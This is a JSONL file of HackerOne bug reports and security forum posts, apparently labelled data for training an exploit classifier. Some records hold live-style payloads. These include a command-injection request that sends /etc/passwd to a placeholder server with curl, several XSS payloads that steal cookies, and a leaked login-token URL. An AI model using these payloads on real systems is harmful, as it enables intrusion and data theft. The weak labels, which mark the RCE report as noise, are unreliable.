-{"id": "d2e035b308e1cdbec441", "text": "[Business Logic Errors] CVE-2022-27782: TLS and SSH connection too eager reuse\n\n## Summary:\nCurl fails to consider some security related options when reusing TLS connections. For example:\n\n# TLS\nCURLOPT_SSL_OPTIONS\nCURLOPT_PROXY_SSL_OPTIONS\nCURLOPT_CRLFILE\nCURLOPT_PROXY_CRLFILE\nCURLOPT_TLSAUTH_TYPE\nCURLOPT_TLSAUTH_USERNAME\nCURLOPT_TLSAUTH_PASSWORD\nCURLOPT_PROXY_TLSAUTH_TYPE\nCURLOPT_PROXY_TLSAUTH_USERNAME\nCURLOPT_PROXY_TLSAUTH_PASSWORD\n\nAs a result for example TLS connection with  lower security (`CURLSSLOPT_ALLOW_BEAST`,` CURLSSLOPT_NO_REVOKE`) connection reused when it should no longer be. Also connection that has been authenticated perviously with `CURLSSLOPT_AUTO_CLIENT_CERT` might be reused for connections that should not be.\n\n# SSH\nCURLOPT_SSH_PUBLIC_KEYFILE\nCURLOPT_SSH_PRIVATE_KEYFILE\n\nIf the attacker knows the vulnerable application used SSH key authentication towards specific host with certain username and protocol they can then perform actions to the same host afterwards and abuse the connection reuse.\n\n## Impact\n\n- Wrong identity (client certificate) or TLS security options being used for subsequent connections to the same hosts.\n- Previously authenticated SSH sessions (SCP/SFTP) reuse.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27782"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25fbe8c3b116ae539356", "text": "[Privacy Violation] Moderator can enable cam/mic remotely if  cam/mic-permission was disabled while user has activated cam/mic\n\n## Summary:\n[add summary of the vulnerability]\n\n## Steps To Reproduce:\n\n  1. Create a Call as User A (Moderator)\n  2. Add User B to the call\n  3. Start the call as User A\n  4. User B joins the call and enables the camera\n  5. User A removes all permissions for User B, cam and mic are now disabled\n  6. User A grants all permissions to User B\n\n--> now mic and cam are enabled remotely, if User B didn't disable it before removing permissions by User B\n\n## Used Software Versions:\nNextcloud 23.0.3\nspreed-App 13.0.4\nnextcloud-spreed-signaling 0.4.0\n\n## Impact\n\nA call moderator can remotely enable user webcams, if there were enabled before removing the permissions. This is a big privacy issue.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2938d385e44134b85271", "text": "[Information Disclosure] Attachment in published HackerOne report exposure private program\n\n**1. Description:**\nReport `https://hackerone.com/reports/1826141`reported to HackerOne became publuc. I see that the attached screenshot exposures private programs reports:\n`https://hackerone.com/██████████`\nand\n`https://hackerone.com/████`\n\nBest regards,\nMateusz\n\n## Impact\n\n- Attachment in published report exposure private program", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "749b17025e17eb62019f", "text": "[Cross-site Scripting (XSS) - Stored] Stored cross-site scripting in dataset owner.\n\nHi again. Another XSS this time.\n**Summary:** Unescaped chars in 'dataset owner' could be abused to store arbitrary javascript.\n\n**Description:** There is a 'dataset owner' field in new 'custom dataset dashboard' which contains unsanitized output. If attacker would modify his name, like first name '<img src=x' and last name \n'onerror=alert(1)>', the field would hold a script. While for most users this is a case of self-xss, for enterprise users (for which, as i understand. this field was introduced in the first place), it can lead to executing arbitrary javascript.\n\n**Steps To Reproduce:**\n\n  1. Put the payload in name and/or surname\n *(first name '<img src=x' and last name \n'onerror=alert(1)>')*\n  2. Navigate to custom datasets. \n\n\n**Test account information**\n\ntvburis+hackerone@gmail.com\n\n## Impact\n\nExecuting arbitrary javascript, stealing other users' algos as demonstrated in previous reports with XSS on quantopian domain.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5c0650cd52b580bcac32", "text": "[Misconfiguration] Dependecy Confusion via Lookup Request Forwarding to PyPi.org\n\n### Summary\n\n*pip* is probably the most popular *Python* package manager and can be used to install packages from the publicly\navailable *Python Package Index* (*PyPi*) at [pypi.org](https://pypi.org) or form internal package repositories. In the beginning of 2021,\na vulnerability type called *Dependency Confusion* attracted some attention in the information security scene. Several\nhigh profiled companies were identified to accidentally load internal dependencies from the public available index\nat *PyPi*. This could have allowed any *PyPi* user to register packages with the accidentally requested names\nand to achieve remote code execution on the affected systems.\n\nThe underlying reason for the vulnerability was the usage of the `--extra-index-url` parameter when installing packages\nvia *pip*. This parameter adds additional packages sources where *pip* checks for the desired installation candidate. That\nbeing said, the publicly available index at *PyPi* remains within the sources and will be used if the requested version\nof the desired package can be found. In case of no version was specified, *pip* installs the most recent version it finds\namong all configured repositories.\n\nAfter the *Dependency Confusion* got publicly known, the general recommendation was to use `--index-url` instead of\n`--extra-index-url`, which replaces [pypi.org](https://pypi.org) as the default package registry. *GitLab*, however, still advises it's\nusers to use `--extra-index-url` within the web overview of a projects package registry. Therefore, users that are not\naware of *Dependency Confusion*, might accidentally install internal *GitLab* packages from the publicly available index\nat *PyPi*.\n\nMoreover, with version `14.2`, *GitLab* made even usage of `--index-url` not fail save. According to the\n[documentation](https://docs.gitlab.com/ee/user/admin_area/settings/continuous_integration.html#pypi-forwarding):\n\n> In GitLab 14.2 and later, when a PyPI package is not found in the Package Registry, the request is forwarded to pypi.org.\n\nThis configuration can lead to dangerous side effects when installing  internal packages with other internal dependencies\nor when using `--index-url` with another internal URL in the `--extra-index-url` parameter. *GitLab* defines package registries on\nthe project and group level. If package dependecies cross these project or group boundaries, dependecy confusion is possible.\n\n### Steps to reproduce\n\nFirst, we create a simple python project `usd-example-package` and make it available over the projects package\nregistry within *GitLab*. Viewing the webpage of the newly created package, it shows the following installation command:\n\n{F1885321}\n\nAs one can see, the suggested install command uses the `--extra-index-url` by default, which makes it vulnerable to\ndependency confusion.\n\nNow lets go one step further. Within our example package, we add an internal dependency `usd-example-dependecy`. This\ndependency is contained within another project and we add `--extra-index-url` to include this within the repository sources.\nThe installation command now looks like this:\n\n```console\n$ pip install usd-example-project --index-url https://gitlab.example.com/api/v4/projects/10/packages/pypi/simple --extra-index-url https://gitlab.example.com/api/v4/projects/11/packages/pypi/simple\n```\n\nSince `--index-url` was used, [pypi.org](https://pypi.org) should not be considered when searching for packages and the installation command\nshould be safe, right? Well, after launching the command, *pip* first loads `usd-example-project` from the URL specified\nas `--index-url`:\n\n```http\nGET /api/v4/projects/10/packages/pypi/simple/usd-example-dependecy/ HTTP/1.1\nHost: gitlab.example.com\n```\n\nAfterwards, the `--extra-index-url` is checked as described above, but since it belongs to our internal\ntrusted *GitLab* instance, this should be fine:\n\n```http\nGET /api/v4/projects/11/packages/pypi/simple/usd-example-project/ HTTP/1.1\nHost: gitlab.example.com\n```\n\nHowever, since `u", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d2a50d4a4db2746b2bd8", "text": "Hash or  Enconde\n\nHello, I found in CTF this cred. ddrivermysqlhost 127.0.0.username objetivapassword:zg0hRAYjPZjP8BkiteoqTSE=::8bb53db42dcc97ae5a30f36c95ac5e3name proseleta_id361 But I dont know, how cracked the username and password. probably the username is objetiva or objetivas. Can someone help me?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-07-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a3797a96db0c78f145c9", "text": "[Information Disclosure] Names not completely redacted despite \"Redact the names of the involved users\" is selected\n\n**Summary:**\n\nHi @security @zerotea,\n\nHope you are doing well.\n\nToday I have found a special edge case where the names are still visible despite \"Redact the names of the involved users\" is selected on export as .pdf report. This is similar to the resolved reports #2109009 and #2054222.\n\nBut this time, looks like the root cause is coming from a team member that triggers the `agreed on going public` and `report became public` activity on the report but did not leave any single comment on the report, I have found that when the involve user (names) of a team member that did not put any comments but he is the one who agreed to disclose this report, then his name will be visible on the report despite the  `\"Redact the names of the involved users\"` is selected\n\nPlease note that just observed that today because of this disclosed report today from @linkedin: \n\nDisclosed Rerport: [Improper access control on Linkedin Page](https://hackerone.com/reports/1587246)\n\nWhile reading that report, i tried to export that as .pdf and I selected the option `Redact the names of the involved users`, then I saw that the name of the team member who `agreed to disclose report report` is still visible on the activity.\n\n__Name:__ `Emmanuel L.` \n\n\n### Steps To Reproduce\n\n1. Go to this disclosed report from LinkedIn: https://hackerone.com/reports/1587246\n2. Export the report as .pdf , make sure to select the `Redact the names of the involved users`\n3. Check the report output and you will see below acitivity\n\n`Emmanuel L. 2023-08-24 02:42 report became public Public`\n`Emmanuel L. 2023-08-24 02:42 agreed on going public Public`\n\nFor easier step to reproduce, you can just visit this https://hackerone.com/reports/1587246.pdf?redact_usernames=true&pdf_type=reporter\n\n{F2632963}\n\n## Impact\n\nDisclosing the supposed to be redacted data, sensitive information disclosure.\n\nLet me know if you have any question\n\nRegards,\n@japz", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fb379afed4befca710ae", "text": "[Violation of Secure Design Principles] Web Cache poisoning attack leads to User information Disclosure and more\n\nHello\n\nYour Web-Server is vulnerable to web cache poisoning attacks.\nThis means, that the attacker are able to get another user Information.\n\nIf you are logged in and visit this website (For example):\nhttps://www.lyst.com/shop/trends/mens-dress-shoes/blahblah.css\n\nThen the server will store the information in the cache, BUT with the logged in user information.\nA non-logged-in user can then visit this website and see the information contained therein.\n\nIn that case, this url: https://www.lyst.com/shop/trends/mens-dress-shoes/blahblah.css can be visited in Private Mode and still you will be shown as \"LOGGED IN\" and then check the Source code you will get your email, member id ,etc..\n\n\nSome informations about the attack:\nhttps://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf\n\nThe screenshots with the steps are in the attachments.\n\n## Impact\n\nWeb cache poisoning attack can be used to steal user informations like email, name and member id which is important for the login security feature.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2538e05ccfbdc16bc8f6", "text": "[Code Injection] RCE в .api/nr/report/{id}/download\n\nDomain, site, application\n--\napp.nativeroll.tv\n\nSteps to reproduce\n--\nНужен аккаунт рекламодате��я, можно зарегистрировать здесь https://seedr.ru/register-user/advertiser\n1. Войти как рекламодатель https://seedr.ru/login/advertiser\n2. Пощелкать что-нибудь, поперехватывать запросы, нужен access_token\n3. Отправить следующий запрос (заменить токен и адрес сервера), рце уязвимость стриггерится в параметре date_start. \nЗапрос отправит содержимое файла /etc/password на контролируемый сервер. 6148ae42362be67fc9433c40 - campaign id, должен быть валидным, нашел на одном из скринов в репорте с доступом в почтовую админку. Также уязвимым параметром является date_end, для примера можно просто заменить date_start в запросе на date_end. \n\n```\nGET /api/nr/report/6148ae42362be67fc9433c40/download?access_token=TOKEN&format=pdf&date_start=%60curl%20-F%22file=@/etc/passwd%22%20YOURSERVER.COM%60 HTTP/1.1\nHost: app.nativeroll.tv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n```\n\nОтвет приходит с адреса 95.213.212.220 https://censys.io/ipv4/95.213.212.220, видно, что это host220.seedr.ru или  же nativeroll.tv\n\n## Impact\n\nАтакующий может исполнять произвольный код на сервере со всеми отсюда вытекающими последствиями", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61ae1b8d5b80c3b47531", "text": "[Weak Password Recovery Mechanism for Forgotten Password] No length on password\n\nHey, when I try to set the password while creating an account I noticed that you haven't kept any password limit. \n\nYou need to decrease password length: There are two reasons for limiting the password size. For one, hashing a large amount of data can cause significant resource consumption on behalf of the server and would be an easy target for a Denial Of Service attack.\n\nNormally all sites have a password minimum to maximum lengths like 72 characters limit or 48 limits to prevent Denial Of Service attack. in my SQL but in the website registration page, there are no limitations. Let me know if you need any more details.\n\nVulnerable Domain:https://imgur.com/\n==========\n\nThis is typically not DoS, but a vulnerability that may lead to a DoS attack.\n\nThe password I tried is:\n\nT12345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e90120b67595331bbb87", "text": "[Information Disclosure] Usernames still visible on report export pdf despite \"I want to redact all usernames\" is selected\n\n**Summary:**\n\nHi Team,\n\nExport report via .pdf still disclosing the reporter username despite I exported it with __\"I want to redact all usernames\"__ being selected to redact all the usernames.\n\n{F2475645}\n\n### Steps To Reproduce\n\n1. Login and try to export any report using export as .pdf\n2. Select \"I want to redact all usernames\"\n3. Check the exported .pdf report is still disclosing the username of researcher\n\nhttps://hackerone.com/reports/<REPORT-ID>.pdf?redact_usernames=true&pdf_type=reporter\n\nPoC screenshot below:\n\n█████\n\nThe .pdf looks messy (maybe design issue) but if you will take a look at __Reported by:__ section at the report header, you will see: `<REDACTED> (<REDACTED>j<REDACTED>a<REDACTED>p<REDACTED>z<REDACTED>)` If you removed the `<REDACTED>` it will show the username `japz`.\n\nIf you removed all `<REDACTED>`, you will see something like the screenshot below:\n\n█████\n\n## Impact\n\nInformation Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b993fa76a717ec7ae8c", "text": "[Inadequate Encryption Strength] Mystery with a leaked token and Reusability of email confirmation link leading to Account Takeover\n\nHi Team, \nFirst of all hope you are well and belated christmas wishes! Sorry for this long report. I need to write it long because many things happened during the testing and the report wont be complete if I didnt mention each and everything. During the test I end up modifying another user's profile. I'm sorry for that and I trust your safe harbor policy. \n\nIf you dont want to read everything, please read the first part and must watch the Video POCs.\n\nSo here I'm with a mystery bug and I have a long story to tell. Please listen carefully. I was fed up not getting any bugs and was thinking to try my luck using google dorking. I tried many dorks and finally I came up with this one:\n\nsite:sorare.com inurl:token\n=====================\n{F2092332}\n\nHere, as you can see there are two search results:\n\n1. A random user's Email-confirmation link\n2. A device confirmation link.\nBoth these links consists of tokens respective of the aim of these links. \n\nSo, as I said earlier I was fed up and surfing without hope through these links. \nNow:\n1. I opened up the second result which is of a confirm_device link with a token for a random user.\n2. Initially the site said me the link is no longer valid and redirected to me to a settings option which asked me to upload profile picture.\n3. Initially I thought that link was invalid and it got redirected me to my Sorare profile.\n4. But it wasnt my profile.\n5. The link brought me to a person named JACK3422's profile. Here I'd like to say thanks to Safe Harbor policy. Because I accidently changed the profile picture and some game settings the app asked me to do. Honestly I thought it is my profile.\n=====================\n6. So this leaked device confirmation link allowed me to get into a random person's profile.\n7. Now I forgot to take a POC of this issue and was desparate. I logout from his profile and I tried to use that link again and it wasn't working again. :(\nSo I was about to quit. Before explaining further let me point out the steps worked here:\n\nA. Google dorking using site:sorare.com inurl:token\nB. Go to the second link, i.e; https://sorare.com/confirm_device?token=N04J3Zczv1GaFrniJisN1QgsisoJHQ\nC. Click OK. It redirected me to that persons profile settings.\n\nUnfortunately, the above link doesn't work anymore. So I decided to leave that sadly.\n=====================\n\nThen I opened the first link which is of a email confirmation link. You can guess its result. It was an expired confirmation link. But I have a behavior of trying IDOR everywhere even if it is a random encoded string.\n\nHere  I'd like to mention the flow of Sorare sign up process:\nA user enters email, username and password and on next step sorare sends a confirm email link to the entered email. Only if the mail is confirmed a user can sign in to his new account. \n\nOn clicking email confirmation link after going to mail provider, the user directly enters into his/her account. i.e, this confirmation link signs in users and there is no need to enter credentials again.\n=====================\nSince there is no need to enter credentials again and a email confirmation link can sign in users, imagine if these links are leaked like our google dork results? Anyone can enter in to anyone's account using these email confirmation links right?So the best part is the email confirmation link can be only used once.  That's why when I opened that link it showed the profile is already verified. But what if an attacker can bypass this expired links and get into anyone's account without password? That's what the bug I observed here:\n=====================\nHow I bypassed the confirm link I got using google dorks.\n\nA. Google dork: site:sorare.com inurl:token\nB. Open the first link which is an email confirmation link:(Remember to logout from your sorare account)\n\nhttps://sorare.com/confirm_email?token=Jt7S7WS_4EphEyiDn6z_&redirectUrl=https%3A%2F%2Fsorare.com%2F\n\nC. Now it will show like this: \nErrors: was already confirmed, p", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "51a8c06c85c0be8f7549", "text": "[Information Disclosure] Cards in Deck are readable by any user\n\n## Summary:\nAllows any user access to sensitive deck card contents.\n\n## Steps To Reproduce:\n\n  1. User creates a new \"deck\" and \"stack\".\n  1. Create another user on your Nextcloud instance.\n  1. curl -X GET -H \"OCS-APIREQUEST: true\" \"http://localhost/index.php/apps/deck/api/v1.0/boards/1/stacks/1\" -u hacker\n\nAs an output you get things like for example {title\":\"To do\",,\"cards\":[{\"title\":\"Example Task 3\",\"}\n\n## Impact\n\nAllows any user access to sensitive deck card contents.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1896b557509baef57641", "text": "[Information Disclosure] Django debug enabled showing information about system, database, configuration files\n\n## Summary:\nHi team,\nThis subdomain `pulpo.it.glovoint.com` is a Django application running with debug mode turned on (DEBUG = True ).\nOne of the main features of debug mode is the display of detailed error pages to help developers.\nIf your app raises an exception when DEBUG is True, Django will display a detailed traceback, including a lot of metadata about your environment, such as all the currently defined Django settings.py file.\n\n## Steps To Reproduce:\nit's not complicated and needs some user interaction, using  Burpsuite I send the POST request to `https://pulpo.it.glovoint.com/admin` path and I got 500 response. \n\nThe information leaked includes the following:\nDjango Version.\npython Version\nIP addresses\nS3_URL\ndatabase (username, URL, type, port )\nemail addresses\n\n\n## Supporting Material/References:\n███\n\n## Remediation:\nNever deploy with DEBUG turned on.\nTo disable debug mode, set DEBUG=False in your Django settings.py file.\n\n## Impact\n\nAn attacker can obtain information such as:\nDjango & Python version.\nUsed database type, database user name, and current database name.\nDetails of the Django project configuration.\nInternal file paths.\nException-generated source code, local variables and their values.\nThis information might help an attacker gain more information and potentially to focus on the development of further attacks on the target system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bddf25519abb854daa5b", "text": "[Improper Input Validation] CVE-2022-27780: percent-encoded path separator in URL host\n\nAdvisory: https://curl.se/docs/CVE-2022-27780.html\n\nOriginal Report: https://hackerone.com/reports/1553841\n\n## Impact\n\nURL filter bypasses", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27780"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3bd7773dc766a5c73d58", "text": "I’m having trouble getting a reverse shell for flag5. I have the Tomcat username and password, I have tried it with several metasploit methods and nothing, the only thing I have managed is to create a web shell by uploading a file to the tomcat page and from there I got the flag4, but I can’t find the way to get a reverse shell. Any ideas?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5dee9c239cc3b5b8d9b0", "text": "[Cross-site Scripting (XSS) - Generic] XSS in ZenTao integration affecting self hosted instances without strict CSP\n\n### Summary\n\nThe ZenTao issue integration (premium feature) is susceptible to an XSS attack by delivering modified API responses to GitLab.\n\nThis is related and similar to my report https://hackerone.com/reports/1533976 but this time affecting the ZenTao integration.\n\nA user can create a project and configure ZenTao to be used as an external issue tracker. [ducumentation](https://docs.gitlab.com/ee/user/project/integrations/zentao.html). If this is done on a `premium` instance the integration will add an `issue list` to the project displaying ZenTao issues, and clicking one of these issues will display issue details for a single ZenTao issue. The URL for a single issue looks like\n\nhttps://gitlab.example.com/GROUP/PROJECT/-/integrations/zentao/issues/story-1\n\nVisiting this page will trigger the GitLab backend to make an API request to the configured ZenTao instance like this\n\nhttps://zentao.example.net/api.php/v1/issues/story-1\n\nand the response from such a request looks like\n\n```json\n{\n    \"issue\": {\n        \"id\": \"story-1\",\n        \"title\": \"story\",\n        \"labels\": [ ],\n        \"pri\": 3,\n        \"openedDate\": \"2021-08-10T08:25:18Z\",\n        \"openedBy\": {\n            \"id\": 1,\n            \"account\": \"admin\",\n            \"realname\": \"admin\",\n            \"avatar\": \"https://www.gravatar.com/avatar/21232f297a57a5a743894a0e4a801fc3?d=identicon&s=80\",\n            \"url\": \"https://jihudemo.zentao.net/index.php?m=user&f=profile&userID=1\"\n        },\n        \"lastEditedDate\": \"2021-08-10T08:25:18Z\",\n        \"lastEditedBy\": \"admin\",\n        \"status\": \"opened\",\n        \"url\": \"https://jihudemo.zentao.net/index.php?m=story&f=view&storyID=32\",\n        \"desc\": \"\",\n        \"assignedTo\": [],\n        \"comments\": [ ]\n    }\n}\n```\n This response is serialized by [ee/app/serializers/integrations/zentao_serializers/issue_entity.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/serializers/integrations/zentao_serializers/issue_entity.rb)\n\nThe interesting part of this file is\n\n```ruby\n     expose :web_url do |item|\n        item['url']\n      end\n```\n\nand also \n\n```ruby\n      expose :id do |item|\n        sanitize(item['id'])\n      end\n```\n\nThe `:web_url` does not check for correctness of the URL and can thus be given a JavaScript URL such as `javascript:alert(document.domain)`. The `:id` is sanitized by ruby sanitizer, but is not HTML encoded. This will open up a \"safe\" HTML injection, which we can use to make the attack easier to pull of.\n\nWhen viewing a ZenTao issue details page the `:web_url` and `:id` is used to create the last part of the breadcrumb links. By adding this to our API response\n\n```json\n{\n   \"id\": \"<img src=# height=10000 width=10000>\",\n   \"url\": \"javascript:alert(document.domain)\"\n}\n```\n\nThe details page will now display a giant image that on click will trigger the XSS.\n\nHere I use an image tag just to prove that the injection. The `:id` HTML injection can be customized to have the victim more prone to clicking the link.\n\nInfected page:\n{F1695165}\n\nPopup:\n{F1695164}\n\n### Steps to reproduce\n\nUsing my hosted server (see example further down for self hosting the attack):\n1. Log in with a user on a self hosted GitLab instance with premium subscription (call the user `user1`)\n2. Create a new project, call it `project1`\n3. Go to https://gitlab.example.com/user1/project1/-/integrations/zentao/edit\n4. Fill in the form. Put `https://joaxcar.com` in the server field. Leave the API field empty, add anything in the username and password.\n5. Go to\nhttps://gitlab.example.com/user1/project1/-/integrations/zentao/issues/story-1\n6. Click the big white square\n7. XSS triggered\n\nTo self host the API make sure to host a server that will deliver this payload with a `application/json` response to calls to `/api.php/v1/issues/story-1`\n\npayload\n```json\n{\n    \"issue\": {\n        \"id\": \"<img src=# height=10000 width=10000>\",\n        \"title\": \"Attack\",\n        \"labels\": [],\n        \"pri\": 3,\n        \"openedDate\": \"2021-08-10T08:25", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91fc6868dd9e9734d29f", "text": "[Information Disclosure] Twitter Subscriptions Information Disclosure\n\n**Summary:** \n\nHi team,\nI was scrolling on Twitter connected from US location, and a Tweet appeared on my timeline; I couldn't see the tweet because it is only visible to subscribers. However I was able to extract the images from that tweet even though I'm not a subscriber\n\n**Description:**\n\nA subscriber only tweet of MrBeast appeared on my timeline (which i can't see)\n{F2487967}\n\nClicking on the quotes button revealed the images and the tweet content which should be invisible to me.\n\n**Steps To Reproduce:**\n\n  1.  Go to https://twitter.com/MrBeast/status/1678121172196630531\n  1. Ensure that you are not a subscriber therefore cannot see the tweet\n  1. Click on quotes button and see the tweet and images\n\n## Supporting Material/References:\n\nPOC video:\n████\n\n## Impact\n\nInformation disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8478d43159ddcecb41c6", "text": "I need help to pass the last achievement, I find the other user, and I follow the hint that said use the password list inside the folder, but nothing. Can you give me any clue?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3581b753b505d24548db", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected xss on https://█████████\n\n**Description:**\nThe domain ███ is vulnerable to reflective xss.\nBy clicking the following link you will get an alert message: https://█████/sec.html?redirect=javascript:alert(document.cookie);//://██████/\nThe error occurs due to a flaw in the check that verifies the validity of the redirect URL. \nThe function takes the value of the redirect parameter and checks if the portion after the first `://` begins with any of the values in the array. \nThis check does not include protocol checking, allowing us to prepend the value with `javascript:`. \nThen we can append a commented-out section at the end to ensure that the `isSafeHost` function returns True.\nThis is the function that checks if it is valid:\n```js\nfunction isSafeHost(uri) {\n      var safeHosts = ['█████/', '███/', '████/', '██████████'];\n      // Only consider localhost for local testing\n      if (window.location.host.includes('localhost')) {\n        safeHosts.push('localhost');\n      }\n      return safeHosts.find((host) => uri.slice(uri.indexOf('://') + 3).startsWith(host));\n    }\n```\nAt the end of the check the redirect parameter is used as follows:\n\n```js\nwindow.location.href = rawRedirect;\n```\n\n## References\n\n## Impact\n\n- Take over a user's account\n- Phish users\n- Show malicious content \n- Redirect users\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nClick on the following link: https://█████████/sec.html?redirect=javascript:alert(1);//://████/\nYou can change the `alert(1)` for your own payload\n\n## Suggested Mitigation/Remediation Actions\nDo a check for protocol and make sure the host comes directly after this protocol.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
